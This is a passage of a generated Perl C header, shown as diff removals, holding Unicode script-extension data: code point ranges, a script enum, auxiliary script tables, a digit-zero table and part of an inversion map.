0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - SCX_Unknown = 0, - SCX_Adlam = 1, - SCX_Ahom = 2, - SCX_Anatolian_Hieroglyphs = 3, - SCX_Arabic = 4, - SCX_Armenian = 5, - SCX_Avestan = 6, - SCX_Balinese = 7, - SCX_Bamum = 8, - SCX_Bassa_Vah = 9, - SCX_Batak = 10, - SCX_Bengali = 11, - SCX_Bhaiksuki = 12, - SCX_Bopomofo = 13, - SCX_Brahmi = 14, - SCX_Braille = 15, - SCX_Buginese = 16, - SCX_Buhid = 17, - SCX_Canadian_Aboriginal = 18, - SCX_Carian = 19, - SCX_Caucasian_Albanian = 20, - SCX_Chakma = 21, - SCX_Cham = 22, - SCX_Cherokee = 23, - SCX_Common = 24, - SCX_Coptic = 25, - SCX_Cuneiform = 26, - SCX_Cypriot = 27, - SCX_Cyrillic = 28, - SCX_Deseret = 29, - SCX_Devanagari = 30, - SCX_Duployan = 31, - SCX_Egyptian_Hieroglyphs = 32, - SCX_Elbasan = 33, - SCX_Ethiopic = 34, - SCX_Georgian = 35, - SCX_Glagolitic = 36, - SCX_Gothic = 37, - SCX_Grantha = 38, - SCX_Greek = 39, - SCX_Gujarati = 40, - SCX_Gurmukhi = 41, - SCX_Han = 42, - SCX_Hanb = 43, - SCX_Hangul = 44, - SCX_Hanunoo = 45, - SCX_Hatran = 46, - SCX_Hebrew = 47, - SCX_Hiragana = 48, - SCX_Imperial_Aramaic = 49, - SCX_Inherited = 50, - SCX_Inscriptional_Pahlavi = 51, - SCX_Inscriptional_Parthian = 52, - SCX_Javanese = 53, - SCX_Jpan = 54, - SCX_Kaithi = 55, - SCX_Kannada = 56, - SCX_Katakana = 57, - SCX_Kayah_Li = 58, - SCX_Kharoshthi = 59, - SCX_Khmer = 60, - SCX_Khojki = 61, - SCX_Khudawadi = 62, - SCX_Kore = 63, - SCX_Lao = 64, - SCX_Latin = 65, - SCX_Lepcha = 66, - SCX_Limbu = 67, - SCX_Linear_A = 68, - SCX_Linear_B = 69, - SCX_Lisu = 70, - SCX_Lycian = 71, - SCX_Lydian = 72, - SCX_Mahajani = 73, - SCX_Malayalam = 74, - SCX_Mandaic = 75, - SCX_Manichaean = 76, - SCX_Marchen = 77, - SCX_Masaram_Gondi = 78, - SCX_Meetei_Mayek = 79, - SCX_Mende_Kikakui = 80, - SCX_Meroitic_Cursive = 81, - SCX_Meroitic_Hieroglyphs = 82, - SCX_Miao = 83, - SCX_Modi = 84, - SCX_Mongolian = 85, - SCX_Mro = 86, - SCX_Multani = 87, - SCX_Myanmar = 88, - SCX_Nabataean = 89, - SCX_New_Tai_Lue = 90, - SCX_Newa = 91, - SCX_Nko = 92, - SCX_Nushu = 93, - SCX_Ogham = 94, - SCX_Ol_Chiki = 95, - SCX_Old_Hungarian = 96, - SCX_Old_Italic = 97, - SCX_Old_North_Arabian = 98, - SCX_Old_Permic = 99, - SCX_Old_Persian = 100, - SCX_Old_South_Arabian = 101, - SCX_Old_Turkic = 102, - SCX_Oriya = 103, - SCX_Osage = 104, - SCX_Osmanya = 105, - SCX_Pahawh_Hmong = 106, - SCX_Palmyrene = 107, - SCX_Pau_Cin_Hau = 108, - SCX_Phags_Pa = 109, - SCX_Phoenician = 110, - SCX_Psalter_Pahlavi = 111, - SCX_Rejang = 112, - SCX_Runic = 113, - SCX_Samaritan = 114, - SCX_Saurashtra = 115, - SCX_Sharada = 116, - SCX_Shavian = 117, - SCX_Siddham = 118, - SCX_SignWriting = 119, - SCX_Sinhala = 120, - SCX_Sora_Sompeng = 121, - SCX_Soyombo = 122, - SCX_Sundanese = 123, - SCX_Syloti_Nagri = 124, - SCX_Syriac = 125, - SCX_Tagalog = 126, - SCX_Tagbanwa = 127, - SCX_Tai_Le = 128, - SCX_Tai_Tham = 129, - SCX_Tai_Viet = 130, - SCX_Takri = 131, - SCX_Tamil = 132, - SCX_Tangut = 133, - SCX_Telugu = 134, - SCX_Thaana = 135, - SCX_Thai = 136, - SCX_Tibetan = 137, - SCX_Tifinagh = 138, - SCX_Tirhuta = 139, - SCX_Ugaritic = 140, - SCX_Vai = 141, - SCX_Warang_Citi = 142, - SCX_Yi = 143, - SCX_Zanabazar_Square = 144, - SCX_INVALID = 145, - SCX_use_AUX_TABLE_1 = -1, - SCX_use_AUX_TABLE_2 = -2, - SCX_use_AUX_TABLE_3 = -3, - SCX_use_AUX_TABLE_4 = -4, - SCX_use_AUX_TABLE_5 = -5, - SCX_use_AUX_TABLE_6 = -6, - SCX_use_AUX_TABLE_7 = -7, - SCX_use_AUX_TABLE_8 = -8, - SCX_use_AUX_TABLE_9 = -9, - SCX_use_AUX_TABLE_10 = -10, - SCX_use_AUX_TABLE_11 = -11, - SCX_use_AUX_TABLE_12 = -12, - SCX_use_AUX_TABLE_13 = -13, - SCX_use_AUX_TABLE_14 = -14, - SCX_use_AUX_TABLE_15 = -15, - SCX_use_AUX_TABLE_16 = -16, - SCX_use_AUX_TABLE_17 = -17, - SCX_use_AUX_TABLE_18 = -18, - SCX_use_AUX_TABLE_19 = -19, - SCX_use_AUX_TABLE_20 = -20, - SCX_use_AUX_TABLE_21 = -21, - SCX_use_AUX_TABLE_22 = -22, - SCX_use_AUX_TABLE_23 = -23, - SCX_use_AUX_TABLE_24 = -24, - SCX_use_AUX_TABLE_25 = -25, - SCX_use_AUX_TABLE_26 = -26, - SCX_use_AUX_TABLE_27 = -27, - SCX_use_AUX_TABLE_28 = -28, - SCX_use_AUX_TABLE_29 = -29, - SCX_use_AUX_TABLE_30 = -30, - SCX_use_AUX_TABLE_31 = -31, - SCX_use_AUX_TABLE_32 = -32, - SCX_use_AUX_TABLE_33 = -33, - SCX_use_AUX_TABLE_34 = -34, - SCX_use_AUX_TABLE_35 = -35, - SCX_use_AUX_TABLE_36 = -36, - SCX_use_AUX_TABLE_37 = -37, - SCX_use_AUX_TABLE_38 = -38, - SCX_use_AUX_TABLE_39 = -39, - SCX_use_AUX_TABLE_40 = -40, - SCX_use_AUX_TABLE_41 = -41, - SCX_use_AUX_TABLE_42 = -42, - SCX_use_AUX_TABLE_43 = -43, - SCX_use_AUX_TABLE_44 = -44, - SCX_use_AUX_TABLE_45 = -45 -} SCX_enum; - -# endif /* ASCII/Latin1 */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -#define HAS_SCX_AUX_TABLES - -static const SCX_enum SCX_AUX_TABLE_1[] = { - SCX_Bopomofo, - SCX_Hanb -}; - -static const SCX_enum SCX_AUX_TABLE_2[] = { - SCX_Cyrillic, - SCX_Old_Permic -}; - -static const SCX_enum SCX_AUX_TABLE_3[] = { - SCX_Cyrillic, - SCX_Glagolitic -}; - -static const SCX_enum SCX_AUX_TABLE_4[] = { - SCX_Cyrillic, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_5[] = { - SCX_Armenian, - SCX_Georgian -}; - -static const SCX_enum SCX_AUX_TABLE_6[] = { - SCX_Arabic, - SCX_Syriac, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_7[] = { - SCX_Adlam, - SCX_Arabic, - SCX_Mandaic, - SCX_Manichaean, - SCX_Psalter_Pahlavi, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_8[] = { - SCX_Arabic, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_9[] = { - SCX_Arabic, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_10[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Sharada, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_11[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_12[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_13[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Limbu, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_14[] = { - SCX_Devanagari, - SCX_Kaithi, - SCX_Mahajani -}; - -static const SCX_enum SCX_AUX_TABLE_15[] = { - SCX_Bengali, - SCX_Chakma, - SCX_Syloti_Nagri -}; - -static const SCX_enum SCX_AUX_TABLE_16[] = { - SCX_Gurmukhi, - SCX_Multani -}; - -static const SCX_enum SCX_AUX_TABLE_17[] = { - SCX_Gujarati, - SCX_Khojki -}; - -static const SCX_enum SCX_AUX_TABLE_18[] = { - SCX_Grantha, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_19[] = { - SCX_Chakma, - SCX_Myanmar, - SCX_Tai_Le -}; - -static const SCX_enum SCX_AUX_TABLE_20[] = { - SCX_Georgian, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_21[] = { - SCX_Hangul, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_22[] = { - SCX_Buhid, - SCX_Hanunoo, - SCX_Tagalog, - SCX_Tagbanwa -}; - -static const SCX_enum SCX_AUX_TABLE_23[] = { - SCX_Mongolian, - SCX_Phags_Pa -}; - -static const SCX_enum SCX_AUX_TABLE_24[] = { - SCX_Devanagari, - SCX_Grantha -}; - -static const SCX_enum SCX_AUX_TABLE_25[] = { - SCX_Devanagari, - SCX_Sharada -}; - -static const SCX_enum SCX_AUX_TABLE_26[] = { - SCX_Devanagari, - SCX_Kannada, - SCX_Malayalam, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_27[] = { - SCX_Devanagari, - SCX_Kannada -}; - -static const SCX_enum SCX_AUX_TABLE_28[] = { - SCX_Devanagari, - SCX_Grantha, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_29[] = { - SCX_Han, - SCX_Hanb, - SCX_Jpan, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_30[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore, - SCX_Yi -}; - -static const SCX_enum SCX_AUX_TABLE_31[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_32[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Jpan, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_33[] = { - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_34[] = { - SCX_Han, - SCX_Hanb, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_35[] = { - SCX_Hiragana, - SCX_Jpan -}; - -static const SCX_enum SCX_AUX_TABLE_36[] = { - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_37[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_38[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_39[] = { - SCX_Bengali, - SCX_Devanagari -}; - -static const SCX_enum SCX_AUX_TABLE_40[] = { - SCX_Devanagari, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_41[] = { - SCX_Kayah_Li, - SCX_Latin, - SCX_Myanmar -}; - -static const SCX_enum SCX_AUX_TABLE_42[] = { - SCX_Buginese, - SCX_Javanese -}; - -static const SCX_enum SCX_AUX_TABLE_43[] = { - SCX_Cypriot, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_44[] = { - SCX_Cypriot, - SCX_Linear_A, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_45[] = { - SCX_Arabic, - SCX_Coptic -}; - -static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - SCX_AUX_TABLE_1, - SCX_AUX_TABLE_2, - SCX_AUX_TABLE_3, - SCX_AUX_TABLE_4, - SCX_AUX_TABLE_5, - SCX_AUX_TABLE_6, - SCX_AUX_TABLE_7, - SCX_AUX_TABLE_8, - SCX_AUX_TABLE_9, - SCX_AUX_TABLE_10, - SCX_AUX_TABLE_11, - SCX_AUX_TABLE_12, - SCX_AUX_TABLE_13, - SCX_AUX_TABLE_14, - SCX_AUX_TABLE_15, - SCX_AUX_TABLE_16, - SCX_AUX_TABLE_17, - SCX_AUX_TABLE_18, - SCX_AUX_TABLE_19, - SCX_AUX_TABLE_20, - SCX_AUX_TABLE_21, - SCX_AUX_TABLE_22, - SCX_AUX_TABLE_23, - SCX_AUX_TABLE_24, - SCX_AUX_TABLE_25, - SCX_AUX_TABLE_26, - SCX_AUX_TABLE_27, - SCX_AUX_TABLE_28, - SCX_AUX_TABLE_29, - SCX_AUX_TABLE_30, - SCX_AUX_TABLE_31, - SCX_AUX_TABLE_32, - SCX_AUX_TABLE_33, - SCX_AUX_TABLE_34, - SCX_AUX_TABLE_35, - SCX_AUX_TABLE_36, - SCX_AUX_TABLE_37, - SCX_AUX_TABLE_38, - SCX_AUX_TABLE_39, - SCX_AUX_TABLE_40, - SCX_AUX_TABLE_41, - SCX_AUX_TABLE_42, - SCX_AUX_TABLE_43, - SCX_AUX_TABLE_44, - SCX_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 SCX_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* SCX_AUX_TABLE_1 */, - 2 /* SCX_AUX_TABLE_2 */, - 2 /* SCX_AUX_TABLE_3 */, - 2 /* SCX_AUX_TABLE_4 */, - 2 /* SCX_AUX_TABLE_5 */, - 3 /* SCX_AUX_TABLE_6 */, - 6 /* SCX_AUX_TABLE_7 */, - 2 /* SCX_AUX_TABLE_8 */, - 2 /* SCX_AUX_TABLE_9 */, - 12 /* SCX_AUX_TABLE_10 */, - 11 /* SCX_AUX_TABLE_11 */, - 16 /* SCX_AUX_TABLE_12 */, - 17 /* SCX_AUX_TABLE_13 */, - 3 /* SCX_AUX_TABLE_14 */, - 3 /* SCX_AUX_TABLE_15 */, - 2 /* SCX_AUX_TABLE_16 */, - 2 /* SCX_AUX_TABLE_17 */, - 2 /* SCX_AUX_TABLE_18 */, - 3 /* SCX_AUX_TABLE_19 */, - 2 /* SCX_AUX_TABLE_20 */, - 2 /* SCX_AUX_TABLE_21 */, - 4 /* SCX_AUX_TABLE_22 */, - 2 /* SCX_AUX_TABLE_23 */, - 2 /* SCX_AUX_TABLE_24 */, - 2 /* SCX_AUX_TABLE_25 */, - 5 /* SCX_AUX_TABLE_26 */, - 2 /* SCX_AUX_TABLE_27 */, - 3 /* SCX_AUX_TABLE_28 */, - 4 /* SCX_AUX_TABLE_29 */, - 9 /* SCX_AUX_TABLE_30 */, - 8 /* SCX_AUX_TABLE_31 */, - 5 /* SCX_AUX_TABLE_32 */, - 3 /* SCX_AUX_TABLE_33 */, - 6 /* SCX_AUX_TABLE_34 */, - 2 /* SCX_AUX_TABLE_35 */, - 2 /* SCX_AUX_TABLE_36 */, - 10 /* SCX_AUX_TABLE_37 */, - 9 /* SCX_AUX_TABLE_38 */, - 2 /* SCX_AUX_TABLE_39 */, - 2 /* SCX_AUX_TABLE_40 */, - 3 /* SCX_AUX_TABLE_41 */, - 2 /* SCX_AUX_TABLE_42 */, - 2 /* SCX_AUX_TABLE_43 */, - 3 /* SCX_AUX_TABLE_44 */, - 2 /* SCX_AUX_TABLE_45 */ -}; - -/* This table, indexed by the script enum, gives the zero code point for that - * script; 0 if the script has multiple digit sequences. Scripts without a - * digit sequence use ASCII [0-9], hence are marked '0' */ -static const UV script_zeros[] = { - '0', /* Unknown */ - 0x1e950, /* Adlam */ - 0x11730, /* Ahom */ - '0', /* Anatolian_Hieroglyphs */ - 0, /* Arabic */ - '0', /* Armenian */ - '0', /* Avestan */ - 0x1b50, /* Balinese */ - '0', /* Bamum */ - '0', /* Bassa_Vah */ - '0', /* Batak */ - 0x9e6, /* Bengali */ - 0x11c50, /* Bhaiksuki */ - '0', /* Bopomofo */ - 0x11066, /* Brahmi */ - '0', /* Braille */ - '0', /* Buginese */ - '0', /* Buhid */ - '0', /* Canadian_Aboriginal */ - '0', /* Carian */ - '0', /* Caucasian_Albanian */ - 0, /* Chakma */ - 0xaa50, /* Cham */ - '0', /* Cherokee */ - 0, /* Common */ - '0', /* Coptic */ - '0', /* Cuneiform */ - '0', /* Cypriot */ - '0', /* Cyrillic */ - '0', /* Deseret */ - 0x966, /* Devanagari */ - '0', /* Duployan */ - '0', /* Egyptian_Hieroglyphs */ - '0', /* Elbasan */ - '0', /* Ethiopic */ - '0', /* Georgian */ - '0', /* Glagolitic */ - '0', /* Gothic */ - 0xbe6, /* Grantha */ - '0', /* Greek */ - 0xae6, /* Gujarati */ - 0xa66, /* Gurmukhi */ - '0', /* Han */ - '0', /* Hanb */ - '0', /* Hangul */ - '0', /* Hanunoo */ - '0', /* Hatran */ - '0', /* Hebrew */ - '0', /* Hiragana */ - '0', /* Imperial_Aramaic */ - 0, /* Inherited */ - '0', /* Inscriptional_Pahlavi */ - '0', /* Inscriptional_Parthian */ - 0xa9d0, /* Javanese */ - '0', /* Jpan */ - 0x966, /* Kaithi */ - 0xce6, /* Kannada */ - '0', /* Katakana */ - 0xa900, /* Kayah_Li */ - '0', /* Kharoshthi */ - 0x17e0, /* Khmer */ - 0xae6, /* Khojki */ - 0x112f0, /* Khudawadi */ - '0', /* Kore */ - 0xed0, /* Lao */ - '0', /* Latin */ - 0x1c40, /* Lepcha */ - 0x1946, /* Limbu */ - '0', /* Linear_A */ - '0', /* Linear_B */ - '0', /* Lisu */ - '0', /* Lycian */ - '0', /* Lydian */ - 0x966, /* Mahajani */ - 0xd66, /* Malayalam */ - '0', /* Mandaic */ - '0', /* Manichaean */ - '0', /* Marchen */ - 0x11d50, /* Masaram_Gondi */ - 0xabf0, /* Meetei_Mayek */ - '0', /* Mende_Kikakui */ - '0', /* Meroitic_Cursive */ - '0', /* Meroitic_Hieroglyphs */ - '0', /* Miao */ - 0x11650, /* Modi */ - 0x1810, /* Mongolian */ - 0x16a60, /* Mro */ - 0xa66, /* Multani */ - 0, /* Myanmar */ - '0', /* Nabataean */ - 0x19d0, /* New_Tai_Lue */ - 0x11450, /* Newa */ - 0x7c0, /* Nko */ - '0', /* Nushu */ - '0', /* Ogham */ - 0x1c50, /* Ol_Chiki */ - '0', /* Old_Hungarian */ - '0', /* Old_Italic */ - '0', /* Old_North_Arabian */ - '0', /* Old_Permic */ - '0', /* Old_Persian */ - '0', /* Old_South_Arabian */ - '0', /* Old_Turkic */ - 0xb66, /* Oriya */ - '0', /* Osage */ - 0x104a0, /* Osmanya */ - 0x16b50, /* Pahawh_Hmong */ - '0', /* Palmyrene */ - '0', /* Pau_Cin_Hau */ - '0', /* Phags_Pa */ - '0', /* Phoenician */ - '0', /* Psalter_Pahlavi */ - '0', /* Rejang */ - '0', /* Runic */ - '0', /* Samaritan */ - 0xa8d0, /* Saurashtra */ - 0x111d0, /* Sharada */ - '0', /* Shavian */ - '0', /* Siddham */ - '0', /* SignWriting */ - 0xde6, /* Sinhala */ - 0x110f0, /* Sora_Sompeng */ - '0', /* Soyombo */ - 0x1bb0, /* Sundanese */ - 0x9e6, /* Syloti_Nagri */ - '0', /* Syriac */ - '0', /* Tagalog */ - '0', /* Tagbanwa */ - 0x1040, /* Tai_Le */ - 0, /* Tai_Tham */ - '0', /* Tai_Viet */ - 0x116c0, /* Takri */ - 0xbe6, /* Tamil */ - '0', /* Tangut */ - 0xc66, /* Telugu */ - 0x660, /* Thaana */ - 0xe50, /* Thai */ - 0xf20, /* Tibetan */ - '0', /* Tifinagh */ - 0x114d0, /* Tirhuta */ - '0', /* Ugaritic */ - 0xa620, /* Vai */ - 0x118e0 /* Warang_Citi */ -}; - -static const SCX_enum _Perl_SCX_invmap[] = { /* for ASCII/Latin1 */ - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_1, - SCX_Common, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Coptic, - SCX_Greek, - SCX_Cyrillic, - SCX_use_AUX_TABLE_2, - SCX_use_AUX_TABLE_3, - SCX_use_AUX_TABLE_4, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_use_AUX_TABLE_5, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_7, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Arabic, - SCX_Thaana, - SCX_Unknown, - SCX_Nko, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Devanagari, - SCX_use_AUX_TABLE_10, - SCX_use_AUX_TABLE_11, - SCX_Devanagari, - SCX_use_AUX_TABLE_12, - SCX_use_AUX_TABLE_13, - SCX_use_AUX_TABLE_14, - SCX_Devanagari, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_use_AUX_TABLE_15, - SCX_Bengali, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_use_AUX_TABLE_16, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_use_AUX_TABLE_17, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, 